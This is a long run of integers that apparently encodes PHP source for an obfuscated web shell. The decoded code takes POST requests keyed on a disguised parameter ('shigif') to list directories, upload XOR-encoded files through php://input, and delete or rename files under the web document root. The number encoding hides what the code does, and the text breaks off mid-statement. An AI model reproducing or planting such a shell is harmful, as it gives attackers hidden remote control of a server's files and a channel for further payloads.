81, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 84, 78, 77, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 104, 122, 107, 126, 25, 73, 90, 77, 81, 72, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 103, 11, 13, 17, 72, 77, 87, 82, 83, 92, 25, 29, 94, 83, 88, 84, 93, 94, 93, 100, 103, 11, 13, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 93, 94, 72, 77, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 29, 87, 90, 76, 25, 6, 25, 103, 90, 72, 94, 11, 13, 100, 93, 94, 88, 84, 93, 94, 17, 29, 94, 83, 88, 84, 93, 94, 93, 100, 103, 11, 13, 21, 25, 77, 87, 78, 94, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 87, 90, 76, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 54, 63, 25, 25, 25, 25, 29, 91, 81, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 93, 94, 72, 77, 21, 25, 28, 76, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 91, 81, 18, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 54, 63, 54, 63, 25, 25, 25, 25, 29, 82, 83, 93, 94, 65, 25, 6, 25, 9, 0, 54, 63, 25, 25, 25, 25, 29, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 87, 90, 76, 18, 0, 54, 63, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 84, 91, 91, 72, 94, 77, 25, 6, 25, 9, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 5, 25, 29, 85, 94, 83, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 16, 6, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 25, 6, 25, 72, 78, 103, 72, 77, 87, 17, 29, 87, 90, 76, 21, 25, 29, 84, 91, 91, 72, 94, 77, 21, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 72, 85, 82, 88, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 0, 25, 29, 82, 25, 5, 25, 29, 72, 85, 94, 83, 0, 25, 29, 82, 16, 16, 21, 25, 29, 82, 83, 93, 94, 65, 16, 16, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 80, 94, 66, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 65, 84, 87, 100, 80, 94, 66, 17, 29, 82, 83, 93, 94, 65, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 25, 6, 25, 88, 81, 87, 17, 84, 87, 93, 17, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 18, 25, 99, 25, 29, 80, 94, 66, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 91, 76, 87, 82, 77, 94, 17, 29, 91, 81, 21, 25, 29, 72, 85, 82, 88, 94, 18, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 25, 70, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 85, 94, 92, 90, 88, 66, 17, 72, 77, 87, 82, 83, 92, 25, 29, 94, 83, 88, 84, 93, 94, 93, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 93, 94, 72, 77, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 29, 94, 83, 88, 84, 93, 94, 93, 25, 6, 25, 72, 77, 87, 82, 73, 72, 85, 90, 72, 81, 94, 72, 17, 29, 94, 83, 88, 84, 93, 94, 93, 18, 0, 54, 63, 25, 25, 25, 25, 29, 91, 81, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 93, 94, 72, 77, 21, 25, 28, 76, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 91, 81, 18, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 54, 63, 54, 63, 25, 25, 25, 25, 29, 82, 83, 93, 94, 65, 25, 6, 25, 9, 0, 54, 63, 25, 25, 25, 25, 29, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 94, 83, 88, 84, 93, 94, 93, 18, 0, 54, 63, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 84, 91, 91, 72, 94, 77, 25, 6, 25, 9, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 5, 25, 29, 85, 94, 83, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 16, 6, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 25, 6, 25, 72, 78, 103, 72, 77, 87, 17, 29, 94, 83, 88, 84, 93, 94, 93, 21, 25, 29, 84, 91, 91, 72, 94, 77, 21, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 72, 85, 82, 88, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 0, 25, 29, 82, 25, 5, 25, 29, 72, 85, 94, 83, 0, 25, 29, 82, 16, 16, 21, 25, 29, 82, 83, 93, 94, 65, 16, 16, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 80, 94, 66, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 65, 84, 87, 100, 80, 94, 66, 17, 29, 82, 83, 93, 94, 65, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 25, 6, 25, 88, 81, 87, 17, 84, 87, 93, 17, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 18, 25, 99, 25, 29, 80, 94, 66, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 91, 76, 87, 82, 77, 94, 17, 29, 91, 81, 21, 25, 29, 72, 85, 82, 88, 94, 18, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 25, 70, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 122, 127, 122, 97, 25, 122, 105, 114, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 29, 90, 88, 77, 82, 84, 83, 25, 6, 25, 83, 78, 85, 85, 0, 54, 63, 82, 91, 25, 17, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 119, 126, 106, 110, 126, 104, 109, 100, 118, 126, 109, 113, 116, 125, 28, 102, 25, 6, 6, 6, 25, 28, 105, 116, 104, 109, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 20, 20, 25, 120, 113, 122, 115, 124, 126, 125, 15, 25, 78, 72, 94, 25, 28, 72, 81, 82, 80, 82, 92, 91, 28, 25, 82, 83, 72, 77, 94, 90, 93, 25, 84, 91, 25, 28, 90, 88, 77, 82, 84, 83, 28, 54, 63, 25, 25, 25, 25, 29, 90, 88, 77, 82, 84, 83, 25, 6, 25, 29, 100, 105, 116, 104, 109, 96, 28, 72, 81, 82, 80, 82, 92, 91, 28, 102, 25, 4, 4, 25, 17, 29, 100, 124, 126, 109, 96, 28, 72, 81, 82, 80, 82, 92, 91, 28, 102, 25, 4, 4, 25, 83, 78, 85, 85, 18, 0, 54, 63, 70, 54, 63, 82, 91, 25, 17, 29, 90, 88, 77, 82, 84, 83, 25, 26, 6, 6, 25, 83, 78, 85, 85, 25, 27, 27, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 119, 126, 106, 110, 126, 104, 109, 100, 118, 126, 109, 113, 116, 125, 28, 102, 25, 6, 6, 6, 25, 28, 105, 116, 104, 109, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 29, 73, 90, 77, 81, 25, 6, 25, 87, 94, 74, 78, 94, 72, 77, 94, 93, 100, 73, 90, 77, 81, 17, 29, 119, 116, 116, 109, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 73, 90, 77, 81, 21, 25, 29, 119, 116, 116, 109, 18, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 105, 90, 77, 81, 25, 84, 78, 77, 25, 84, 91, 25, 93, 87, 82, 75, 94, 25, 87, 84, 84, 77, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 72, 76, 82, 77, 88, 81, 25, 17, 29, 90, 88, 77, 82, 84, 83, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 85, 82, 72, 77, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 77, 94, 86, 72, 25, 6, 25, 85, 82, 72, 77, 100, 93, 82, 87, 17, 29, 73, 90, 77, 81, 21, 25, 29, 119, 116, 116, 109, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 90, 66, 85, 84, 90, 93, 25, 6, 25, 90, 87, 87, 90, 66, 100, 86, 90, 73, 17, 91, 78, 83, 88, 77, 82, 84, 83, 17, 29, 82, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 96, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 83, 90, 86, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 83, 90, 86, 94, 39, 102, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 77, 66, 73, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 77, 66, 73, 94, 39, 102, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 72, 82, 79, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 77, 66, 73, 94, 39, 102, 25, 6, 6, 6, 25, 39, 93, 82, 87, 39, 25, 4, 25, 39, 39, 25, 15, 25, 17, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 25, 27, 27, 25, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 25, 26, 6, 6, 25, 83, 78, 85, 85, 25, 4, 25, 91, 84, 87, 86, 90, 77, 100, 72, 82, 79, 94, 17, 17, 82, 83, 77, 18, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 18, 25, 15, 25, 28, 28, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 87, 90, 76, 104, 82, 79, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 77, 66, 73, 94, 39, 102, 25, 6, 6, 6, 25, 39, 93, 82, 87, 39, 25, 4, 25, 9, 25, 15, 25, 17, 17, 82, 83, 77, 18, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 86, 77, 82, 86, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 86, 77, 82, 86, 94, 39, 102, 25, 4, 25, 93, 90, 77, 94, 17, 28, 98, 22, 86, 22, 93, 25, 113, 15, 82, 15, 72, 28, 21, 25, 17, 82, 83, 77, 18, 29, 82, 96, 39, 86, 77, 82, 86, 94, 39, 102, 18, 25, 15, 25, 28, 28, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 73, 90, 77, 81, 39, 25, 6, 3, 25, 29, 82, 96, 39, 73, 90, 77, 81, 39, 102, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 21, 25, 29, 82, 77, 94, 86, 72, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 84, 80, 39, 25, 6, 3, 25, 77, 87, 78, 94, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 73, 90, 77, 81, 39, 25, 6, 3, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 73, 90, 77, 81, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 39, 25, 6, 3, 25, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 100, 81, 77, 86, 85, 17, 29, 73, 90, 77, 81, 21, 25, 29, 119, 116, 116, 109, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 82, 77, 94, 86, 72, 39, 25, 6, 3, 25, 29, 73, 90, 66, 85, 84, 90, 93, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 20, 31, 25, 110, 73, 85, 84, 90, 93, 15, 25, 119, 122, 108, 25, 105, 116, 104, 109, 25, 103, 84, 93, 66, 25, 17, 97, 116, 119, 25, 72, 77, 87, 94, 90, 86, 18, 21, 25, 73, 90, 87, 90, 86, 72, 25, 82, 83, 25, 110, 119, 117, 15, 25, 83, 90, 80, 65, 83, 25, 17, 81, 94, 65, 18, 21, 25, 86, 94, 80, 82, 77, 82, 83, 83, 90, 25, 31, 20, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 78, 73, 85, 84, 90, 93, 100, 65, 84, 87, 28, 15, 54, 63, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 124, 126, 109, 96, 28, 86, 94, 80, 82, 77, 82, 83, 83, 90, 28, 102, 25, 4, 4, 25, 29, 100, 105, 116, 104, 109, 96, 28, 86, 94, 80, 82, 77, 82, 83, 83, 90, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 83, 90, 86, 94, 25, 6, 6, 6, 25, 28, 28, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 118, 82, 72, 72, 82, 83, 92, 25, 91, 82, 85, 94, 25, 83, 90, 86, 94, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 29, 93, 94, 72, 77, 25, 6, 25, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 103, 90, 72, 94, 83, 90, 86, 94, 17, 29, 83, 90, 86, 94, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 20, 20, 25, 119, 94, 90, 93, 25, 91, 87, 84, 86, 25, 73, 81, 73, 15, 20, 20, 82, 83, 73, 78, 77, 25, 82, 83, 77, 84, 25, 73, 81, 73, 15, 20, 20, 77, 94, 86, 73, 54, 63, 25, 25, 25, 25, 29, 82, 83, 25, 25, 6, 25, 91, 84, 73, 94, 83, 17, 28, 73, 81, 73, 15, 20, 20, 82, 83, 73, 78, 77, 28, 21, 25, 28, 87, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 82, 83, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 120, 90, 83, 83, 84, 77, 25, 84, 73, 94, 83, 25, 82, 83, 73, 78, 77, 25, 72, 77, 87, 94, 90, 86, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 29, 77, 86, 73, 25, 6, 25, 91, 84, 73, 94, 83, 17, 28, 73, 81, 73, 15, 20, 20, 77, 94, 86, 73, 28, 21, 25, 28, 76, 16, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 77, 86, 73, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 82, 83, 18, 0, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 120, 90, 83, 83, 84, 77, 25, 88, 87, 94, 90, 77, 94, 25, 77, 94, 86, 73, 25, 72, 77, 87, 94, 90, 86, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 72, 77, 87, 94, 90, 86, 100, 88, 84, 73, 66, 100, 77, 84, 100, 72, 77, 87, 94, 90, 86, 17, 29, 82, 83, 21, 25, 29, 77, 86, 73, 18, 0, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 82, 83, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 76, 82, 83, 93, 17, 29, 77, 86, 73, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 93, 94, 72, 77, 21, 25, 28, 76, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 84, 78, 77, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 77, 86, 73, 18, 0, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 120, 90, 83, 83, 84, 77, 25, 84, 73, 94, 83, 25, 93, 94, 72, 77, 82, 83, 90, 77, 82, 84, 83, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 65, 84, 87, 100, 93, 94, 88, 84, 93, 94, 100, 72, 77, 87, 94, 90, 86, 100, 78, 73, 85, 84, 90, 93, 17, 29, 77, 86, 73, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 77, 86, 73, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 77, 87, 78, 94, 21, 25, 39, 72, 90, 75, 94, 93, 39, 25, 6, 3, 25, 96, 29, 83, 90, 86, 94, 102, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 93, 94, 85, 94, 77, 94, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 86, 94, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 90, 87, 92, 94, 77, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 77, 90, 87, 92, 94, 77, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 90, 87, 92, 94, 77, 21, 25, 29, 119, 116, 116, 109, 18, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 77, 90, 87, 92, 94, 77, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 80, 25, 6, 25, 82, 72, 100, 93, 82, 87, 17, 29, 77, 90, 87, 92, 94, 77, 18, 25, 4, 25, 121, 87, 86, 93, 82, 87, 17, 29, 77, 90, 87, 92, 94, 77, 18, 25, 15, 25, 121, 78, 83, 85, 82, 83, 80, 17, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 17, 103, 84, 84, 85, 18, 29, 84, 80, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 29, 84, 80, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 39, 125, 94, 85, 94, 77, 94, 25, 91, 90, 82, 85, 94, 93, 19, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 87, 94, 83, 90, 86, 94, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 85, 93, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 84, 85, 93, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 94, 76, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 94, 76, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 84, 85, 93, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 83, 94, 76, 25, 6, 6, 6, 25, 28, 28, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 118, 82, 72, 72, 82, 83, 92, 25, 83, 90, 86, 94, 72, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 91, 87, 84, 86, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 84, 85, 93, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 84, 25, 6, 25, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 103, 90, 72, 94, 83, 90, 86, 94, 17, 29, 83, 94, 76, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 91, 87, 84, 86, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 91, 87, 84, 86, 21, 25, 29, 119, 116, 116, 109, 18, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 84, 21, 25, 29, 119, 116, 116, 109, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 73, 90, 77, 81, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 80, 25, 6, 25, 121, 87, 94, 83, 90, 86, 94, 17, 29, 91, 87, 84, 86, 21, 25, 29, 77, 84, 18, 0, 54, 63, 25, 25, 25, 